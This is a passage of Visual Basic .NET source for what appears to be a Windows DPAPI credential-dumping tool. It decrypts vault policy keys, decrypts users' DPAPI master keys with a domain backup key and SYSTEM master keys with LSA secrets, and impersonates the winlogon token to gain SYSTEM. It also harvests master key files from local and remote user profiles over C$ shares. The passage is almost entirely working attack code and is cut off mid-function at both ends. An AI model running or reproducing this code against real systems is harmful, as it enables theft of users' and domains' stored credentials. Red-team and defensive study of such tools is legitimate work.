Console.WriteLine(" [X] Error parsing decrypted Policy.vpol (aes128len != 16)")
Return keys
End If
Dim aes128Key As Byte() = New Byte(aes128len - 1) {}
Array.Copy(decBlobBytes, offset, aes128Key, 0, aes128len)
offset += aes128len
Dim aes128KeyStr As String = BitConverter.ToString(aes128Key).Replace("-", "")
offset += 20
Dim aes256len As Integer = BitConverter.ToInt32(decBlobBytes, offset)
offset += 4
If aes256len <> 32 Then
Console.WriteLine(" [X] Error parsing decrypted Policy.vpol (aes256len != 32)")
Return keys
End If
Dim aes256Key As Byte() = New Byte(aes256len - 1) {}
Array.Copy(decBlobBytes, offset, aes256Key, 0, aes256len)
Dim aes256KeyStr As String = BitConverter.ToString(aes256Key).Replace("-", "")
keys.Add(aes128Key)
keys.Add(aes256Key)
Else
Dim offset As Integer = 16
Dim s2 As String = Encoding.ASCII.GetString(decBlobBytes, offset, 4)
offset += 4
If s2.Equals("KSSM") Then
offset += 16
Dim aes128len As Integer = BitConverter.ToInt32(decBlobBytes, offset)
offset += 4
If aes128len <> 16 Then
Console.WriteLine(" [X] Error parsing decrypted Policy.vpol (aes128len != 16)")
Return keys
End If
Dim aes128Key As Byte() = New Byte(aes128len - 1) {}
Array.Copy(decBlobBytes, offset, aes128Key, 0, aes128len)
offset += aes128len
Dim aes128KeyStr As String = BitConverter.ToString(aes128Key).Replace("-", "")
Dim pattern As Byte() = New Byte(11) {&H4B, &H53, &H53, &H4D, &H2, &H0, &H1, &H0, &H1, &H0, &H0, &H0}
Dim index As Integer = Helpers.ArrayIndexOf(decBlobBytes, pattern, offset)
If index <> -1 Then
offset = index
offset += 20
Dim aes256len As Integer = BitConverter.ToInt32(decBlobBytes, offset)
offset += 4
If aes256len <> 32 Then
Console.WriteLine(" [X] Error parsing decrypted Policy.vpol (aes256len != 32)")
Return keys
End If
Dim aes256Key As Byte() = New Byte(aes256len - 1) {}
Array.Copy(decBlobBytes, offset, aes256Key, 0, aes256len)
Dim aes256KeyStr As String = BitConverter.ToString(aes256Key).Replace("-", "")
keys.Add(aes128Key)
keys.Add(aes256Key)
Else
Console.WriteLine("[X] Error in decrypting Policy.vpol: second MSSK header not found!")
End If
End If
End If
Return keys
End Function
Public Shared Function GetDomainKey(ByVal masterKeyBytes As Byte()) As Byte()
Dim offset As Integer = 96
Dim masterKeyLen As Long = BitConverter.ToInt64(masterKeyBytes, offset)
offset += 8
Dim backupKeyLen As Long = BitConverter.ToInt64(masterKeyBytes, offset)
offset += 8
Dim credHistLen As Long = BitConverter.ToInt64(masterKeyBytes, offset)
offset += 8
Dim domainKeyLen As Long = BitConverter.ToInt64(masterKeyBytes, offset)
offset += 8
offset += CInt((masterKeyLen + backupKeyLen + credHistLen))
Dim domainKeyBytes As Byte() = New Byte(domainKeyLen - 1) {}
Array.Copy(masterKeyBytes, offset, domainKeyBytes, 0, domainKeyLen)
Return domainKeyBytes
End Function
Public Shared Function GetMasterKey(ByVal masterKeyBytes As Byte()) As Byte()
Dim offset As Integer = 96
Dim masterKeyLen As Long = BitConverter.ToInt64(masterKeyBytes, offset)
offset += 4 * 8
Dim masterKeySubBytes As Byte() = New Byte(masterKeyLen - 1) {}
Array.Copy(masterKeyBytes, offset, masterKeySubBytes, 0, masterKeyLen)
Return masterKeySubBytes
End Function
Public Shared Function DecryptMasterKey(ByVal masterKeyBytes As Byte(), ByVal backupKeyBytes As Byte()) As Dictionary(Of String, String)
Dim mapping As Dictionary(Of String, String) = New Dictionary(Of String, String)()
Try
Dim guidMasterKey As String = String.Format("{{{0}}}", Encoding.Unicode.GetString(masterKeyBytes, 12, 72))
Dim offset As Integer = 4
Dim domainKeyBytes As Byte() = GetDomainKey(masterKeyBytes)
Dim secretLen As Integer = BitConverter.ToInt32(domainKeyBytes, offset)
offset += 4
Dim accesscheckLen As Integer = BitConverter.ToInt32(domainKeyBytes, offset)
offset += 4
offset += 16
Dim secretBytes As Byte() = New Byte(secretLen - 1) {}
Array.Copy(domainKeyBytes, offset, secretBytes, 0, secretLen)
offset += secretLen
Dim accesscheckBytes As Byte() = New Byte(accesscheckLen - 1) {}
Array.Copy(domainKeyBytes, offset, accesscheckBytes, 0, accesscheckLen)
Dim rsaPriv As Byte() = New Byte(backupKeyBytes.Length - 24 - 1) {}
Array.Copy(backupKeyBytes, 24, rsaPriv, 0, rsaPriv.Length)
Dim a As String = BitConverter.ToString(rsaPriv).Replace("-", "")
Dim sec As String = BitConverter.ToString(secretBytes).Replace("-", "")
Dim domainKeyBytesDec As Byte() = Crypto.RSADecrypt(rsaPriv, secretBytes)
Dim masteyKeyLen As Integer = BitConverter.ToInt32(domainKeyBytesDec, 0)
Dim suppKeyLen As Integer = BitConverter.ToInt32(domainKeyBytesDec, 4)
Dim masterKey As Byte() = New Byte(masteyKeyLen - 1) {}
Buffer.BlockCopy(domainKeyBytesDec, 8, masterKey, 0, masteyKeyLen)
Dim sha1 As SHA1Managed = New SHA1Managed()
Dim masterKeySha1 As Byte() = sha1.ComputeHash(masterKey)
Dim masterKeySha1Hex As String = BitConverter.ToString(masterKeySha1).Replace("-", "")
mapping.Add(guidMasterKey, masterKeySha1Hex)
Catch ex As Exception
Console.WriteLine(ex.Message)
End Try
Return mapping
End Function
Public Shared Function DecryptMasterKeyWithSha(ByVal masterKeyBytes As Byte(), ByVal shaBytes As Byte()) As Dictionary(Of String, String)
Dim mapping As Dictionary(Of String, String) = New Dictionary(Of String, String)()
Try
Dim guidMasterKey As String = String.Format("{{{0}}}", Encoding.Unicode.GetString(masterKeyBytes, 12, 72))
Dim mkBytes As Byte() = GetMasterKey(masterKeyBytes)
Dim offset As Integer = 4
Dim salt As Byte() = New Byte(15) {}
Array.Copy(mkBytes, 4, salt, 0, 16)
offset += 16
Dim rounds As Integer = BitConverter.ToInt32(mkBytes, offset)
offset += 4
Dim algHash As Integer = BitConverter.ToInt32(mkBytes, offset)
offset += 4
Dim algCrypt As Integer = BitConverter.ToInt32(mkBytes, offset)
offset += 4
Dim encData As Byte() = New Byte(mkBytes.Length - offset - 1) {}
Array.Copy(mkBytes, offset, encData, 0, encData.Length)
Dim final As Byte() = New Byte(47) {}
If algHash = 32782 Then
Using hmac = New HMACSHA512()
Dim df = New Pbkdf2(hmac, shaBytes, salt, rounds)
final = df.GetBytes(48)
End Using
Else
Console.WriteLine("[X] Note: alg hash '{0} / 0x{1}' not currently supported!", algHash, algHash.ToString("X8"))
Return mapping
End If
If (algCrypt = 26128) AndAlso (algHash = 32782) Then
Dim HMACLen As Integer = (New HMACSHA512()).HashSize / 8
Dim aesCryptoProvider As AesManaged = New AesManaged()
Dim ivBytes As Byte() = New Byte(15) {}
Array.Copy(final, 32, ivBytes, 0, 16)
Dim key As Byte() = New Byte(31) {}
Array.Copy(final, 0, key, 0, 32)
aesCryptoProvider.Key = key
aesCryptoProvider.IV = ivBytes
aesCryptoProvider.Mode = CipherMode.CBC
aesCryptoProvider.Padding = PaddingMode.Zeros
Dim plaintextBytes As Byte() = aesCryptoProvider.CreateDecryptor().TransformFinalBlock(encData, 0, encData.Length)
Dim outLen As Integer = plaintextBytes.Length
Dim outputLen As Integer = outLen - 16 - HMACLen
Dim masterKeyFull As Byte() = New Byte(HMACLen - 1) {}
Array.Copy(plaintextBytes, outLen - outputLen, masterKeyFull, 0, masterKeyFull.Length)
Using sha1 As SHA1Managed = New SHA1Managed()
Dim masterKeySha1 As Byte() = sha1.ComputeHash(masterKeyFull)
Dim masterKeySha1Hex As String = BitConverter.ToString(masterKeySha1).Replace("-", "")
If algHash = 32782 Then
Dim plaintextCryptBuffer As Byte() = New Byte(15) {}
Array.Copy(plaintextBytes, plaintextCryptBuffer, 16)
Dim hmac1 As HMACSHA512 = New HMACSHA512(shaBytes)
Dim round1Hmac As Byte() = hmac1.ComputeHash(plaintextCryptBuffer)
Dim round2buffer As Byte() = New Byte(outputLen - 1) {}
Array.Copy(plaintextBytes, outLen - outputLen, round2buffer, 0, outputLen)
Dim hmac2 As HMACSHA512 = New HMACSHA512(round1Hmac)
Dim round2Hmac As Byte() = hmac2.ComputeHash(round2buffer)
Dim comparison As Byte() = New Byte(63) {}
Array.Copy(plaintextBytes, 16, comparison, 0, comparison.Length)
Dim s1 As String = BitConverter.ToString(comparison).Replace("-", "")
Dim s2 As String = BitConverter.ToString(round2Hmac).Replace("-", "")
If s1.Equals(s2) Then
mapping.Add(guidMasterKey, masterKeySha1Hex)
Else
Console.WriteLine("[X] {0}:{1} - HMAC integrity check failed!", guidMasterKey, masterKeySha1Hex)
Return mapping
End If
Else
Console.WriteLine("[X] Note: alg hash '{0} / 0x{1}' not currently supported!", algHash, algHash.ToString("X8"))
Return mapping
End If
End Using
Else
Console.WriteLine("[X] Note: alg crypt '{0} / 0x{1}' not currently supported!", algCrypt, algCrypt.ToString("X8"))
Return mapping
End If
Catch
End Try
Return mapping
End Function
End Class
Public Class Crypto
Public Shared Function DecryptBlob(ByVal ciphertext As Byte(), ByVal key As Byte(), ByVal Optional algCrypt As Integer = 26115) As Byte()
If algCrypt = 26115 Then
Dim desCryptoProvider As TripleDESCryptoServiceProvider = New TripleDESCryptoServiceProvider
Dim ivBytes = New Byte(7) {}
desCryptoProvider.Key = key
desCryptoProvider.IV = ivBytes
desCryptoProvider.Mode = CipherMode.CBC
desCryptoProvider.Padding = PaddingMode.Zeros
Dim plaintextBytes As Byte() = desCryptoProvider.CreateDecryptor.TransformFinalBlock(ciphertext, 0, ciphertext.Length)
Return plaintextBytes
ElseIf algCrypt = 26128 Then
Dim aesCryptoProvider As AesManaged = New AesManaged
Dim ivBytes = New Byte(15) {}
aesCryptoProvider.Key = key
aesCryptoProvider.IV = ivBytes
aesCryptoProvider.Mode = CipherMode.CBC
aesCryptoProvider.Padding = PaddingMode.Zeros
Dim plaintextBytes As Byte() = aesCryptoProvider.CreateDecryptor.TransformFinalBlock(ciphertext, 0, ciphertext.Length)
Return plaintextBytes
Else
Return New Byte(-1) {}
End If
End Function
Public Shared Function DeriveKey(ByVal keyBytes As Byte(), ByVal saltBytes As Byte(), ByVal Optional algHash As Integer = 32772) As Byte()
If algHash = 32782 Then
Dim hmac As HMACSHA512 = New HMACSHA512(keyBytes)
Dim sessionKeyBytes As Byte() = hmac.ComputeHash(saltBytes)
Return sessionKeyBytes
ElseIf algHash = 32772 Then
Dim hmac As HMACSHA1 = New HMACSHA1(keyBytes)
Dim ipad = New Byte(63) {}
Dim opad = New Byte(63) {}
Dim sessionKeyBytes As Byte() = hmac.ComputeHash(saltBytes)
For i = 0 To 64 - 1
ipad(i) = Convert.ToByte("6"c)
opad(i) = Convert.ToByte("\"c)
Next
For i = 0 To keyBytes.Length - 1
ipad(i) = ipad(i) Xor sessionKeyBytes(i)
opad(i) = opad(i) Xor sessionKeyBytes(i)
Next
Using sha1 As SHA1Managed = New SHA1Managed
Dim ipadSHA1bytes As Byte() = sha1.ComputeHash(ipad)
Dim opadSHA1bytes As Byte() = sha1.ComputeHash(opad)
Dim combined As Byte() = Helpers.Combine(ipadSHA1bytes, opadSHA1bytes)
Return combined
End Using
Else
Return New Byte(-1) {}
End If
End Function
Public Shared Function AESDecrypt(ByVal key As Byte(), ByVal IV As Byte(), ByVal data As Byte()) As Byte()
Dim aesCryptoProvider As AesManaged = New AesManaged
aesCryptoProvider.Key = key
If IV.Length <> 0 Then
aesCryptoProvider.IV = IV
End If
aesCryptoProvider.Mode = CipherMode.CBC
Dim plaintextBytes As Byte() = aesCryptoProvider.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
Return plaintextBytes
End Function
Public Shared Function LSAAESDecrypt(ByVal key As Byte(), ByVal data As Byte()) As Byte()
Dim aesCryptoProvider As AesManaged = New AesManaged
aesCryptoProvider.Key = key
aesCryptoProvider.IV = New Byte(15) {}
aesCryptoProvider.Mode = CipherMode.CBC
aesCryptoProvider.BlockSize = 128
aesCryptoProvider.Padding = PaddingMode.Zeros
Dim transform As ICryptoTransform = aesCryptoProvider.CreateDecryptor
Dim chunks = Decimal.ToInt32(Math.Ceiling(data.Length / CDec(16)))
Dim plaintext = New Byte(chunks * 16 - 1) {}
For i = 0 To chunks - 1
Dim offset = i * 16
Dim chunk = New Byte(15) {}
Array.Copy(data, offset, chunk, 0, 16)
Dim chunkPlaintextBytes As Byte() = transform.TransformFinalBlock(chunk, 0, chunk.Length)
Array.Copy(chunkPlaintextBytes, 0, plaintext, i * 16, 16)
Next
Return plaintext
End Function
Public Shared Function RSADecrypt(ByVal privateKey As Byte(), ByVal dataToDecrypt As Byte()) As Byte()
Dim cspParameters = New System.Security.Cryptography.CspParameters(24)
Using rsaProvider = New System.Security.Cryptography.RSACryptoServiceProvider(cspParameters)
Try
rsaProvider.PersistKeyInCsp = False
rsaProvider.ImportCspBlob(privateKey)
Dim dataToDecryptRev = New Byte(255) {}
Buffer.BlockCopy(dataToDecrypt, 0, dataToDecryptRev, 0, dataToDecrypt.Length)
Array.Reverse(dataToDecryptRev)
Dim dec As Byte() = rsaProvider.Decrypt(dataToDecryptRev, False)
Return dec
Catch e As Exception
Console.WriteLine("Error decryption domain key: {0}", e.Message)
Finally
rsaProvider.PersistKeyInCsp = False
rsaProvider.Clear()
End Try
End Using
Return New Byte(-1) {}
End Function
Public Shared Function LSASHA256Hash(ByVal key As Byte(), ByVal rawData As Byte()) As Byte()
Using sha256Hash As SHA256 = SHA256.Create
Dim buffer = New Byte(key.Length + rawData.Length * 1000 - 1) {}
Array.Copy(key, 0, buffer, 0, key.Length)
For i = 0 To 1000 - 1
Array.Copy(rawData, 0, buffer, key.Length + i * rawData.Length, rawData.Length)
Next
Return sha256Hash.ComputeHash(buffer)
End Using
End Function
End Class
<System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId:="Pbkdf", Justification:="Spelling is correct.")>
Public Class Pbkdf2
Public Sub New(ByVal algorithm As HMAC, ByVal password As Byte(), ByVal salt As Byte(), ByVal iterations As Int32)
If algorithm Is Nothing Then
Throw New ArgumentNullException("algorithm", "Algorithm cannot be null.")
End If
If salt Is Nothing Then
Throw New ArgumentNullException("salt", "Salt cannot be null.")
End If
If password Is Nothing Then
Throw New ArgumentNullException("password", "Password cannot be null.")
End If
Me.Algorithm = algorithm
Me.Algorithm.Key = password
Me.Salt = salt
Me.IterationCount = iterations
Me.BlockSize = Me.Algorithm.HashSize / 8
Me.BufferBytes = New Byte(Me.BlockSize - 1) {}
End Sub
Public Sub New(ByVal algorithm As HMAC, ByVal password As Byte(), ByVal salt As Byte())
Me.New(algorithm, password, salt, 1000)
End Sub
Public Sub New(ByVal algorithm As HMAC, ByVal password As String, ByVal salt As String, ByVal iterations As Int32)
Me.New(algorithm, UTF8Encoding.UTF8.GetBytes(password), UTF8Encoding.UTF8.GetBytes(salt), iterations)
End Sub
Public Sub New(ByVal algorithm As HMAC, ByVal password As String, ByVal salt As String)
Me.New(algorithm, password, salt, 1000)
End Sub
Private ReadOnly BlockSize As Integer
Private BlockIndex As UInteger = 1
Private BufferBytes As Byte()
Private BufferStartIndex As Integer = 0
Private BufferEndIndex As Integer = 0
Public Property Algorithm As HMAC
<System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Performance", "CA1819:PropertiesShouldNotReturnArrays", Justification:="Byte array is proper return value in this case.")>
Public Property Salt As Byte()
Public Property IterationCount As Int32
Public Function GetBytes(ByVal count As Integer) As Byte()
Dim result As Byte() = New Byte(count - 1) {}
Dim resultOffset As Integer = 0
Dim bufferCount As Integer = Me.BufferEndIndex - Me.BufferStartIndex
If bufferCount > 0 Then
If count < bufferCount Then
Buffer.BlockCopy(Me.BufferBytes, Me.BufferStartIndex, result, 0, count)
Me.BufferStartIndex += count
Return result
End If
Buffer.BlockCopy(Me.BufferBytes, Me.BufferStartIndex, result, 0, bufferCount)
Me.BufferStartIndex = CSharpImpl.__Assign(Me.BufferEndIndex, 0)
resultOffset += bufferCount
End If
While resultOffset < count
Dim needCount As Integer = count - resultOffset
Me.BufferBytes = Me.Func()
If needCount > Me.BlockSize Then
Buffer.BlockCopy(Me.BufferBytes, 0, result, resultOffset, Me.BlockSize)
resultOffset += Me.BlockSize
Else
Buffer.BlockCopy(Me.BufferBytes, 0, result, resultOffset, needCount)
Me.BufferStartIndex = needCount
Me.BufferEndIndex = Me.BlockSize
Return result
End If
End While
Return result
End Function
Private Function Func() As Byte()
Dim hash1Input = New Byte(Me.Salt.Length + 4 - 1) {}
Buffer.BlockCopy(Me.Salt, 0, hash1Input, 0, Me.Salt.Length)
Buffer.BlockCopy(GetBytesFromInt(Me.BlockIndex), 0, hash1Input, Me.Salt.Length, 4)
Dim hash1 = Me.Algorithm.ComputeHash(hash1Input)
Dim finalHash As Byte() = hash1
For i As Integer = 2 To Me.IterationCount
hash1 = Me.Algorithm.ComputeHash(hash1, 0, hash1.Length)
For j As Integer = 0 To Me.BlockSize - 1
finalHash(j) = CByte((finalHash(j) Xor hash1(j)))
Next
Array.Copy(finalHash, hash1, hash1.Length)
Next
If Me.BlockIndex = UInteger.MaxValue Then
Throw New InvalidOperationException("Derived key too long.")
End If
Me.BlockIndex += 1
Return finalHash
End Function
Private Shared Function GetBytesFromInt(ByVal i As UInteger) As Byte()
Dim bytes = BitConverter.GetBytes(i)
If BitConverter.IsLittleEndian Then
Return New Byte() {bytes(3), bytes(2), bytes(1), bytes(0)}
Else
Return bytes
End If
End Function
Private Class CSharpImpl
<Obsolete("Please refactor calling code to use normal Visual Basic assignment")>
Shared Function __Assign(Of T)(ByRef target As T, value As T) As T
target = value
Return value
End Function
End Class
End Class
Public Class Helpers
Public Shared Function TestRemote(ByVal computerName As String) As Boolean
Try
Dim remotePath As String = String.Format("\\{0}\C$\Users\", computerName)
Dim dirs As String() = Directory.GetDirectories(remotePath)
Return True
Catch e As Exception
Console.WriteLine("[!] Error accessing computer '{0}' : {1}", computerName, e.Message)
Return False
End Try
End Function
Public Shared Function ConvertLocalPathToUNCPath(ByVal computerName As String, ByVal localPath As String) As String
Try
Dim parts As String() = localPath.Split(New Char() {System.IO.Path.DirectorySeparatorChar}, StringSplitOptions.RemoveEmptyEntries)
Dim driveLetter As String = parts(0).Replace(":"c, "$"c)
Dim newPath As String = String.Format("\\{0}\{1}\{2}", computerName, driveLetter, String.Join("\", (parts.Skip(1).Take(parts.Length - 1)).ToArray()))
Return newPath
Catch
Return ""
End Try
End Function
Public Shared Function Combine(ByVal first As Byte(), ByVal second As Byte()) As Byte()
Dim ret As Byte() = New Byte(first.Length + second.Length - 1) {}
Buffer.BlockCopy(first, 0, ret, 0, first.Length)
Buffer.BlockCopy(second, 0, ret, first.Length, second.Length)
Return ret
End Function
Public Shared Function Combine(ByVal first As String(), ByVal second As String()) As String()
Dim ret As String() = New String(first.Length + second.Length - 1) {}
Array.Copy(first, 0, ret, 0, first.Length)
Array.Copy(second, 0, ret, first.Length, second.Length)
Return ret
End Function
Public Shared Function IsUnicode(ByVal bytes As Byte()) As Boolean
Dim flags As Interop.IsTextUnicodeFlags = Interop.IsTextUnicodeFlags.IS_TEXT_UNICODE_STATISTICS
Return Interop.IsTextUnicode(bytes, bytes.Length, flags)
End Function
Public Shared Function RemoveWhiteSpaces(ByVal input As String) As String
Return Regex.Replace(input, "\ +(?=(\n|\r?$))", "")
End Function
Public Shared Function GetSystem() As Boolean
If IsHighIntegrity() Then
Dim hToken As IntPtr = IntPtr.Zero
Dim processes As Process() = Process.GetProcessesByName("winlogon")
Dim handle As IntPtr = processes(0).Handle
Dim success As Boolean = Interop.OpenProcessToken(handle, &H2, hToken)
If Not success Then
Return False
End If
Dim hDupToken As IntPtr = IntPtr.Zero
success = Interop.DuplicateToken(hToken, 2, hDupToken)
If Not success Then
Return False
End If
success = Interop.ImpersonateLoggedOnUser(hDupToken)
If Not success Then
Return False
End If
Interop.CloseHandle(hToken)
Interop.CloseHandle(hDupToken)
Dim name As String = System.Security.Principal.WindowsIdentity.GetCurrent().Name
If name <> "NT AUTHORITY\SYSTEM" Then
Return False
End If
Return True
Else
Return False
End If
End Function
Public Shared Function GetRegKeyValue(ByVal keyPath As String) As Byte()
Dim result As Integer = 0
Dim hKey As IntPtr = IntPtr.Zero
result = Interop.RegOpenKeyEx(&H80000002UI, keyPath, 0, &H19, hKey)
If result <> 0 Then
Dim [error] As Integer = Marshal.GetLastWin32Error()
Dim errorMessage As String = New Win32Exception(CInt([error])).Message
Console.WriteLine("Error opening {0} ({1}) : {2}", keyPath, [error], errorMessage)
Return Nothing
End If
Dim cbData As Integer = 0
result = Interop.RegQueryValueEx(hKey, Nothing, 0, IntPtr.Zero, IntPtr.Zero, cbData)
If result <> 0 Then
Dim [error] As Integer = Marshal.GetLastWin32Error()
Dim errorMessage As String = New Win32Exception(CInt([error])).Message
Console.WriteLine("Error enumerating {0} ({1}) : {2}", keyPath, [error], errorMessage)
Return Nothing
End If
Dim dataPtr As IntPtr = Marshal.AllocHGlobal(cbData)
result = Interop.RegQueryValueEx(hKey, Nothing, 0, IntPtr.Zero, dataPtr, cbData)
If result <> 0 Then
Dim [error] As Integer = Marshal.GetLastWin32Error()
Dim errorMessage As String = New Win32Exception(CInt([error])).Message
Console.WriteLine("Error enumerating {0} ({1}) : {2}", keyPath, [error], errorMessage)
Return Nothing
End If
Dim data As Byte() = New Byte(cbData - 1) {}
Marshal.Copy(dataPtr, data, 0, cbData)
Interop.RegCloseKey(hKey)
Return data
End Function
Public Shared Function StringToByteArray(ByVal hex As String) As Byte()
Return Enumerable.Range(0, hex.Length).Where(Function(x) x Mod 2 = 0).[Select](Function(x) Convert.ToByte(hex.Substring(x, 2), 16)).ToArray()
End Function
Public Shared Iterator Function Split(ByVal text As String, ByVal partLength As Integer) As IEnumerable(Of String)
If text Is Nothing Then
Console.WriteLine("[!] Split() - singleLineString")
End If
If partLength < 1 Then
Console.WriteLine("[!] Split() - 'columns' must be greater than 0.")
End If
Dim partCount = Math.Ceiling(CDbl(text.Length) / partLength)
If partCount < 2 Then
Yield text
End If
For i As Integer = 0 To partCount - 1
Dim index = i * partLength
Dim lengthLeft = Math.Min(partLength, text.Length - index)
Dim line = text.Substring(index, lengthLeft)
Yield line
Next
End Function
Public Shared Function IsHighIntegrity() As Boolean
Dim identity As WindowsIdentity = WindowsIdentity.GetCurrent()
Dim principal As WindowsPrincipal = New WindowsPrincipal(identity)
Return principal.IsInRole(WindowsBuiltInRole.Administrator)
End Function
Public Shared Function ArrayIndexOf(ByVal arrayToSearchThrough As Byte(), ByVal patternToFind As Byte(), ByVal Optional offset As Integer = 0) As Integer
If patternToFind.Length > arrayToSearchThrough.Length Then Return -1
For i As Integer = offset To arrayToSearchThrough.Length - patternToFind.Length - 1
Dim found As Boolean = True
For j As Integer = 0 To patternToFind.Length - 1
If arrayToSearchThrough(i + j) <> patternToFind(j) Then
found = False
Exit For
End If
Next
If found Then
Return i
End If
Next
Return -1
End Function
End Class
Public Class Triage
Public Shared Function TriageUserMasterKeys(ByVal backupKeyBytes As Byte(), ByVal Optional show As Boolean = False, ByVal Optional computerName As String = "") As Dictionary(Of String, String)
Dim mappings As Dictionary(Of String, String) = New Dictionary(Of String, String)()
If Not String.IsNullOrEmpty(computerName) Then
Dim canAccess As Boolean = Helpers.TestRemote(computerName)
If Not canAccess Then
Return New Dictionary(Of String, String)()
End If
End If
If Helpers.IsHighIntegrity() OrElse (Not String.IsNullOrEmpty(computerName) AndAlso Helpers.TestRemote(computerName)) Then
Dim userFolder As String = ""
If Not String.IsNullOrEmpty(computerName) Then
userFolder = String.Format("\\{0}\C$\Users\", computerName)
Else
userFolder = String.Format("{0}\Users\", Environment.GetEnvironmentVariable("SystemDrive"))
End If
Dim userDirs As String() = Directory.GetDirectories(userFolder)
For Each dir As String In userDirs
Dim parts As String() = dir.Split("\"c)
Dim userName As String = parts(parts.Length - 1)
If Not (dir.EndsWith("Public") OrElse dir.EndsWith("Default") OrElse dir.EndsWith("Default User") OrElse dir.EndsWith("All Users")) Then
Dim userDPAPIBasePath As String = String.Format("{0}\AppData\Roaming\Microsoft\Protect\", dir)
If System.IO.Directory.Exists(userDPAPIBasePath) Then
Dim directories As String() = Directory.GetDirectories(userDPAPIBasePath)
For Each mydirectory As String In directories
Dim files As String() = Directory.GetFiles(mydirectory)
For Each myfile As String In files
If Regex.IsMatch(myfile, "[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}") Then
Dim fileName As String = System.IO.Path.GetFileName(myfile)
If show Then
Console.WriteLine("[*] Found MasterKey : {0}", myfile)
End If
Dim masteyKeyBytes As Byte() = File.ReadAllBytes(myfile)
Try
Dim mapping As Dictionary(Of String, String) = DPAPI.DecryptMasterKey(masteyKeyBytes, backupKeyBytes)
'mapping.ToList().ForEach(Function(x) mappings.Add(x.Key, x.Value))
For Each MyMap In mapping
mappings.Add(MyMap.Key, MyMap.Value)
Next
Catch e As Exception
Console.WriteLine("[X] Error triaging {0} : {1}", myfile, e.Message)
End Try
End If
Next
Next
End If
End If
Next
Else
Dim userName As String = Environment.GetEnvironmentVariable("USERNAME")
Dim userDPAPIBasePath As String = String.Format("{0}\AppData\Roaming\Microsoft\Protect\", System.Environment.GetEnvironmentVariable("USERPROFILE"))
If System.IO.Directory.Exists(userDPAPIBasePath) Then
Dim directories As String() = Directory.GetDirectories(userDPAPIBasePath)
For Each mydirectory As String In directories
Dim files As String() = Directory.GetFiles(mydirectory)
For Each myfile As String In files
If Regex.IsMatch(myfile, "[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}") Then
Dim fileName As String = System.IO.Path.GetFileName(myfile)
If show Then
Console.WriteLine("[*] Found MasterKey : {0}", myfile)
End If
Dim masteyKeyBytes As Byte() = File.ReadAllBytes(myfile)
Try
Dim mapping As Dictionary(Of String, String) = DPAPI.DecryptMasterKey(masteyKeyBytes, backupKeyBytes)
'mapping.ToList().ForEach(Function(x) mappings.Add(x.Key, x.Value))
For Each MyMap In mapping
mappings.Add(MyMap.Key, MyMap.Value)
Next
Catch e As Exception
Console.WriteLine("[X] Error triaging {0} : {1}", myfile, e.Message)
End Try
End If
Next
Next
End If
End If
Return mappings
End Function
Public Shared Function LoadKeysFromFolder(ByVal backupKeyBytes As Byte(), userDPAPIBasePath As String)
Dim mappings As Dictionary(Of String, String) = New Dictionary(Of String, String)()
If System.IO.Directory.Exists(userDPAPIBasePath) Then
Dim directories As String() = Directory.GetDirectories(userDPAPIBasePath)
For Each mydirectory As String In directories
Dim files As String() = Directory.GetFiles(mydirectory)
For Each myfile As String In files
If Regex.IsMatch(myfile, "[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}") Then
Dim fileName As String = System.IO.Path.GetFileName(myfile)
Console.WriteLine("[*] Found MasterKey : {0}", myfile)
Dim masteyKeyBytes As Byte() = File.ReadAllBytes(myfile)
Try
Dim mapping As Dictionary(Of String, String) = DPAPI.DecryptMasterKey(masteyKeyBytes, backupKeyBytes)
'mapping.ToList().ForEach(Function(x) mappings.Add(x.Key, x.Value))
For Each MyMap In mapping
mappings.Add(MyMap.Key, MyMap.Value)
Next
Catch e As Exception
Console.WriteLine("[X] Error triaging {0} : {1}", myfile, e.Message)
End Try
End If
Next
Next
End If
Return mappings
End Function
Public Shared Function TriageSystemMasterKeys(ByVal Optional show As Boolean = False) As Dictionary(Of String, String)
Dim mappings As Dictionary(Of String, String) = New Dictionary(Of String, String)()
If Helpers.IsHighIntegrity() Then
Dim keys As List(Of Byte()) = LSADump.GetDPAPIKeys(True)
Dim systemFolder As String = String.Format("{0}\Windows\System32\Microsoft\Protect\", Environment.GetEnvironmentVariable("SystemDrive"))
Dim systemDirs As String() = Directory.GetDirectories(systemFolder)
For Each mydirectory As String In systemDirs
Dim machineFiles As String() = Directory.GetFiles(mydirectory)
Dim userFiles As String() = Directory.GetFiles(String.Format("{0}\User\", mydirectory))
For Each myfile As String In machineFiles
If Regex.IsMatch(myfile, "[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}") Then
Dim fileName As String = System.IO.Path.GetFileName(myfile)
If show Then
Console.WriteLine("[*] Found SYSTEM system MasterKey : {0}", myfile)
End If
Dim masteyKeyBytes As Byte() = File.ReadAllBytes(myfile)
Try
Dim mapping As Dictionary(Of String, String) = DPAPI.DecryptMasterKeyWithSha(masteyKeyBytes, keys(0))
'mapping.ToList().ForEach(Function(x) mappings.Add(x.Key, x.Value))
For Each MyMap In mapping
mappings.Add(MyMap.Key, MyMap.Value)
Next
Catch e As Exception
Console.WriteLine("[X] Error triaging {0} : {1}", myfile, e.Message)
End Try
End If
Next
For Each myfile As String In userFiles
If Regex.IsMatch(myfile, "[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}") Then
Dim fileName As String = System.IO.Path.GetFileName(myfile)
If show Then
Console.WriteLine("[*] Found SYSTEM user MasterKey : {0}", myfile)
End If
Dim masteyKeyBytes As Byte() = File.ReadAllBytes(myfile)
Try
Dim mapping As Dictionary(Of String, String) = DPAPI.DecryptMasterKeyWithSha(masteyKeyBytes, keys(1))
'mapping.ToList().ForEach(Function(x) mappings.Add(x.Key, x.Value))
For Each MyMap In mapping
mappings.Add(MyMap.Key, MyMap.Value)
Next
Catch e As Exception
